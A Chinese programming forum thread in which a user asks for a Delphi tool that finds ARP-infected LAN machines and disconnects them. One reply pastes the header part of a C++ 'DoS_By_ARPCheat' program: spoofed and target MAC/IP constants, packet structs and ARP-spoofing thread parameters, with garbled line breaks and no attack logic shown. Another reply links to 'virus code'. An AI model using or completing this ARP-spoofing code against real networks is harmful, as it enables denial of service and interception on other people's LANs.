用delphi做一个程序,功能:搜索局域网中中了arp病毒的计算机,在窗体中显示这些计算机的IP,然后自动把这个计算机断开网络。

解决方案 »

  1.   

     DoS_By_ARPCheat.cpp : Defines the entry point for the console application. 
    // #include "stdafx.h" 
    #include "winsock2.h" 
    #include "Packet32.h" 
    #include "stdio.h" #pragma comment(lib, "packet"
    #pragma comment(lib, "ws2_32"//下面几个宏是测试用的主机的IP和MAC 
    #define SIMULATE_MAC "0011111d735a"     //伪装主机的MAC地址 
    #define TARGET_MAC "001111c6f7fe"       //目的主机的MAC地址 
    #define LOCAL_MAC "00e06e41508f"        //本机MAC地址 
    #define TARGET_IP "211.83.97.24"        //目的主机的IP 
    #define SIMULATE_IP "211.83.97.16"      //伪装主机的IP #define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式 #pragma pack(push, 1) struct ET_HEADER    //以太网头部 

        unsigned char   eh_dst[6];  
        unsigned char   eh_src[6]; 
        unsigned short  eh_type; 
    }; struct ARP_HEADER   //ARP头部 

        unsigned short  arp_hdr; 
        unsigned short  arp_pro; 
        unsigned char   arp_hln; 
        unsigned char   arp_pln; 
        unsigned short  arp_opt; 
        unsigned char   arp_sha[6]; 
        unsigned long   arp_spa; 
        unsigned char   arp_tha[6]; 
        unsigned long   arp_tpa; 
    }; struct IP_HEADER          //IP头部 

        char m_ver_hlen;      //4位版本号,4位ip头部长 
        char m_tos; 
        USHORT m_tlen; 
        USHORT m_ident; 
        USHORT m_flag_frag;     //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量 
        char m_ttl; 
        char m_protocol; 
        USHORT m_cksum; 
        ULONG m_sIP; 
        ULONG m_dIP; 
    }; struct TCP_HEADER          //TCP头部 

        USHORT m_sport; 
        USHORT m_dport; 
        ULONG m_seq; 
        ULONG m_ack;   
        char m_hlen_res4;              //4位tcp头部长,6位保留的前4位 
        char m_res2_flag;              //6位保留的后2位,6位标志 
        USHORT m_win; 
        USHORT m_cksum; 
        USHORT m_urp; 
    }; struct PSD_HEADER         //伪头部,计算校验和用 

        ULONG m_saddr; //源地址 
        ULONG m_daddr; //目的地址 
        char m_mbz; 
        char m_ptcl; //协议类型 
        USHORT m_tcpl; //TCP长度 
    }; struct TCP_OPTION         //TCP选项,发起伪连接时要用来与对方协商 

        USHORT unKnown; 
        USHORT maxSegSize;     //MSS,以太网一般为1460 
        char no1; 
        char no2; 
        USHORT SACK; 
    }; struct CHEAT_ARP_INFO        //ARP欺骗线程的参数 

        char simulateIP[20]; 
        char targetIP[20]; 
        char targetMAC[13]; 
    }; 
      

  2.   

    病毒代码:http://blog.csdn.net/realfei83/archive/2007/08/14/1743333.aspx
    阻止下载:http://download.csdn.net/source/335290